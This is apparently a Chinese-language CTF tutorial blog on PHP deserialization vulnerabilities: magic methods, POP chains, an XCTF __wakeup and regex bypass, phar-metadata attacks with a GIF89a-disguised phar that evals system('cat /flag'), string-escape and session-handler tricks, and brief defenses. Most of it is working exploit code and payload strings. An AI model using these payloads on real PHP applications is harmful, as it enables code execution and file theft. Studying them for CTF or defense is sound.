php反序列化
php反序列化
相关概念
序列化
序列化的过程是将各种类和属性的信息转化成便于存储的字节流,也就是将数据信息进行一定格式的压缩存储
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| <?php class Person{ public $name = 'noname'; protected $id = '666'; private $password = 'root123';
public function set_Pwd($password) { $this->password = $password; }
public function get_Pwd($password) { return $this->password; } } $p = new Person(); echo serialize($p);
?>
|
不同的权限序列化的结果不一样
权限 |
序列化结果 |
Public |
与序列化前相同 |
Protected |
\x00+*+\x00+变量名 |
Private |
\x00+类名+\x00+变量名 |
反序列化
把字节流转换成对象实例
php反序列化漏洞
当反序列化的参数可控时,可以传入一个构造过的序列化字符串控制对象内部的变量或函数
所以反序列化函数和参数可控是必备条件
魔术方法:
函数 |
触发条件 |
__construct() |
当一个对象创建时被调用,但在unserialize()时是不会自动调用的 |
__destruct() |
当一个对象销毁时被调用 |
__toString() |
当一个对象被当作一个字符串使用时被调用 |
__sleep() |
serialize()时会自动调用 |
__wakeup() |
unserialize()时会自动调用 |
__call() |
当调用对象中不存在的方法会自动调用该方法 |
__get() |
在调用私有属性的时候会自动执行 |
__isset() |
在不可访问的属性上调用isset()或empty()触发 |
__unset() |
在不可访问的属性上使用unset()时触发 |
__invoke() |
当脚本尝试将对象调用为函数时触发 |
https://www.php.net/manual/zh/language.oop5.magic.php
demo.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| <?php class User{ private $test;
function __construct(){ $this->test = new Welcome(); }
function __destruct(){ $this->test->action(); } }
class Welcome{ function action(){ echo "Welcome~"; } }
class Devil{ private $data; function action(){ eval($this->data); } } unserialize($_GET['a']); ?>
|
这里很明显是要利用eval这个恶意函数,重点就是要如何调用到这个类中的action函数
test
poc.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| <?php class User{ private $test;
function __construct(){ $this->test = new Devil(); }
function __destruct(){ $this->test->action(); } }
class Devil { private $data = 'phpinfo();'; function action(){ eval($this->data); } } $user = new User(); $output = serialize($user); echo $output; ?>
|
pop链
其实上面的利用已经是小型的pop链,主要就是通过触发函数,导致接下来分析两道题
Example1
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88
| <?php error_reporting(0);$flag=file_get_contents('/flag');highlight_file(__FILE__); class Admin{ public $username; public $password; function __construct($username, $password) { $this->username = $username; $this->password = $password; } function __toString() { $this->login($this->username, $this->password); } function login($username, $password) { $username = addslashes($username); $password = addslashes($password); if ($username === 'admin' && $password === 'admin') { global $flag; echo $flag; } } function ban() { $times = 10 - (int)$_COOKIE['times']; if ($times <= 0) { die("You have been banned"); } else { $times -= 1; setcookie('times', 10 - $times); die("You have $times times to try."); } } } class Guest{ public $username; public $password; public $role; function __construct($username, $password) { $this->username = $username; $this->password = $password; $this->role = 0; } function __call($method, $args) { $this->login($this->username, $this->password); } function login($username, $password) { $username = addslashes($username); $password = addslashes($password); if ($username === 'guest' && $password === 'guest') { $this->role = 0; } } } class User{ public $username; public $password; public $role; public $admin; function __construct($username, $password) { $this->username = $username; $this->password = $password; $this->role = 0; $this->admin = new Admin($username, $password); } function __wakeup() { $this->login($this->username, $this->password); } function login($username, $password) { if (isset($username) && isset($password)) { if ($username === 'guest' && $password === 'guest') { $this->role = 0; $this->admin->ban(); } } } } if (!isset($_COOKIE['times'])) { setcookie('times', 0); }unserialize($_GET['p']);
|
这里通过分析魔法函数的触发条件,可以得到一个链子
pop链:
1
| User->__wakeup => User->login => Guest->__call => Guest->login =>Admin->__toString => Admin->login
|
在实例化三个类的对象后,将User类对象的admin赋值为Guest类的对象,使其能满足
1 2 3 4
| if ($username === 'guest' && $password === 'guest') { $this->role = 0; $this->admin->ban(); }
|
触发Guest类中不存在的ban(),从而触发__call(),最终完成整条链
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| <?php class Admin { public $username = 'admin'; public $password = 'admin';
}
class Guest { public $username = 'guest'; public $password = 'guest'; public $role; }
class User { public $username = 'guest'; public $password = 'guest'; public $role; public $admin;
}
$a = new Admin(); $g = new Guest(); $u = new User(); $g->username = $a; $u->admin = $g; print_r($g); echo '<br>'; echo serialize($u);
|
XCTF-Web_php_unserialize
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| <?php class Demo { private $file = 'index.php'; public function __construct($file) { $this->file = $file; } function __destruct() { echo @highlight_file($this->file, true); } function __wakeup() { if ($this->file != 'index.php') { $this->file = 'index.php'; } } } if (isset($_GET['var'])) { $var = base64_decode($_GET['var']); if (preg_match('/[oc]:\d+:/i', $var)) { die('stop hacking!'); } else { @unserialize($var); } } else { highlight_file("index.php"); } ?>
|
GET传入$var
正则绕过preg_match ->在不区分大小写的情况下,若字符串出现o:数字 / c:数字 ,则会被过滤,但是如果要序列化,会出现Q
绕过weakup
base64加密
这是正常逻辑
1 2 3 4 5 6
| $obj = new Demo("fl4g.php");
$str = serialize($obj);
echo $str, PHP_EOL;
|
1 2 3 4 5 6
| $A = new Demo ('fl4g.php'); $C = serialize($A); $C = str_replace('O:4','O:+4',$C); $C = str_replace(':1:',':2:',$C); var_dump($C); var_dump(base64_encode($C));
|
phar扩展反序列化攻击面
前面的代码都是在通过控制参数,利用unserialize这个函数进行反序列化利用。而phar可以在没有unserialize的情况下进行反序列化。
这里用phar对文件进行压缩时会进行序列化,用phar://协议对phar进行文件操作的时候会进行反序列化,进而扩展了攻击面
限制:
phar文件要能够上传到服务器端。
要有可用的魔术方法作为“跳板”。
文件操作函数的参数可控,且:、/、phar等特殊字符没有被过滤。
1 2 3 4 5 6 7 8 9 10
| <?php class test{ function __destruct(){ echo "Destruct called"; } } $filename = 'phar://phar.phar/test.txt'; file_get_contents($filename); ?>
|
phar文件
phar是一种压缩格式的文件,有四个构成部分
1.stub
格式:
前面内容不限但必须以__HALT_COMPILER();?>
结尾,否则phar扩展无法识别这个文件为phar文件
2.manifest describing the contents
被压缩文件的权限属性。会以序列化的形式存储用户自定义的meta-data。
3.contents
被压缩文件的内容
4.signature
签名,在文件末尾
受影响的函数
生成phar文件
修改本地php.ini
注意:php版本要在5.3以上,修改配置文件时要去掉分号
生成phar文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| <?php class TestObject { }
@unlink("phar.phar"); $phar = new Phar("phar.phar"); $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); $o = new TestObject(); $phar->setMetadata($o); $phar->addFromString("test.txt", "test"); $phar->stopBuffering(); ?>
|
伪造phar文件
1
| $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
|
可以绕过上传检测
Example
题目就只有一个上传功能
show_image.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| <?php include("versioncomp.php");
echo "<h1>图片预览器</h1>"; $file_name=$_GET['filename'];
if(!isset($file_name)){ $file_name='./upload_file/background.gif'; }
if(file_exists($file_name)){ echo "<br><img widht=800 height=600 src=\"".$file_name."\"><br>"; }else{
echo "还未上传图片";
}
?>
|
upload_file.php
只允许上传gif,且最后都是upload_file/background.gif
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| <body> <form action="./upload_file.php" method="post" enctype="multipart/form-data"> <input type="file" name="file" /> <input type="submit" name="Upload" /> </form> </body> <?php error_reporting(0); $file_dir="./upload_file/"; if(!is_dir($file_dir)){ mkdir($file_dir,0777,true); } if (($_FILES["file"]["type"]=="image/gif")&&(substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1))== 'gif') { echo "Upload: " . $_FILES["file"]["name"]."<br>"; echo "Type: " . $_FILES["file"]["type"]."<br>"; move_uploaded_file($_FILES["file"]["tmp_name"], "upload_file/background.gif"); echo "Stored in: " . "upload_file/background.gif"; echo '<script>window.location.href="index.php?file=show_image"</script>'; } else { echo "you can only upload gif"; }
|
versioncomp.php
这里是可以利用的反序列化代码
1 2 3 4 5 6 7 8 9 10 11 12 13
| <?php
class FileVersionClass{ public $fileSystem_version = 'Version_number'; public $output = 'echo "system version is cahnge";'; function __destruct() { $realversion='1.0.0'.$this->fileSystem_version.'bak_version'; if(version_compare('1.0.0', $realversion)!==1){ eval($this -> output); }; } }
|
主要功能就是一个上传,这里限制了只能传gif图,而在FileVersionClass中有一个可以利用的eval
函数,因为这里没有unserialize函数,所以要利用phar进行一个序列化和反序列化,先是在本地构造出一个phar包,之后利用file_exists配合phar://伪协议进行文件操作,触发反序列化
phar_gen.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| <?php class FileVersionClass{ public $fileSystem_version = '1.0.0'; public $output = 'system("cat /flag");'; function __destruct() { $realversion='1.0.0'.$this->fileSystem_version.'bak_version'; if(version_compare('1.0.0', $realversion)!==1){ eval($this -> output); }; } }
$o = new FileVersionClass(); $phar = new Phar("phar.phar"); $phar->startBuffering(); $phar->addFromString("test.txt", "test"); $phar->setStub('GIF89a'.'<?php __HALT_COMPILER(); ?>'); $phar->setMetadata($o); $phar->stopBuffering(); ?>
|
将生成的phar文件后缀改成.gif,上传,站点会给出上传的路径,最后在show_image.php页面进行文件操作
1
| show_image.php?filename=phar://upload/background.gif
|
bypass
1 2
| compress.zlib: compress.bzip2:
|
反序列化字符逃逸
规则
以;
作为分隔,}
作为结,并且按照序列化规则才能成功实现反序列化,即长度不符合的时候会报错。
但是如果符合规则,是可以反序列化类中不存在的元素的
1 2 3 4 5 6 7 8 9 10 11 12 13
| <?php class Person{ public $name = 'noname'; }
var_dump(serialize(new Person())); echo '<br>';
$str = 'O:6:"Person":2:{s:4:"name";s:6:"noname";s:3:"age";s:2:"18";}';
var_dump(unserialize($str));
?>
|
所以我们是可以通过构造一个语句来篡改序列化后的对象实例中的属性和值的
字符增加的情况
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| <?php function filter($string) { return str_replace('a','bb',$string); };
$user = 'xxl'; $info = 'data';
$data = array($user, $info); var_dump(serialize($data)); echo '<br>';
$output = filter(serialize($data)); var_dump($output); echo '<br>'; ?>
|
session反序列化
session存储机制
php内置多种处理器用于存储$_SESSION数据
处理器 |
对应存储格式 |
实例 |
php |
键名+竖线+经过serialize()函数反序列化处理的值 |
|
php_binary |
键名的长度对应的ASCII字符+键名+经过serialize()函数反序列化处理的值 |
|
php_serialize(php>=5.5.4) |
经过serialize()函数反序列化处理的数组 |
|
1 2 3 4 5 6 7 8 9
| <?php ini_set('session.serialize_handler', 'php'); session_start(); $_SESSION['a'] = $_GET['a'] ?>
?a=noname
a|s:6:"noname";
|
1 2 3 4 5 6 7 8 9
| <?php ini_set('session.serialize_handler', 'php_serialize'); session_start(); $_SESSION['a'] = $_GET['a'] ?>
?a=noname
a:1:{s:1:"a";s:6:"noname";}
|
漏洞在于session的使用不当,在反序列化存储session数据和序列化时使用的引擎不一样,则会导致无法正确反序列化。
php默认用php引擎进行session存储,即形如a|s:6:"noname";
若对输入没有进行过滤,可以利用竖线和分隔符,将前面变成键,后面构造恶意序列化数据
原生类利用
SoapClient+反序列化
SoapClient类触发反序列化+CRLF注入实现SSRF
防御方法
1.对unseralize中的参数进行严格过滤
2.对上传文件的内容进行检查
Reference:
https://xz.aliyun.com/t/2715
https://www.geek-share.com/detail/2791677381.html
http://123.57.164.1/2020/11/10/ctf%E4%B8%AD%E7%9A%84php%E5%BA%8F%E5%88%97%E5%8C%96%E4%B8%8E%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/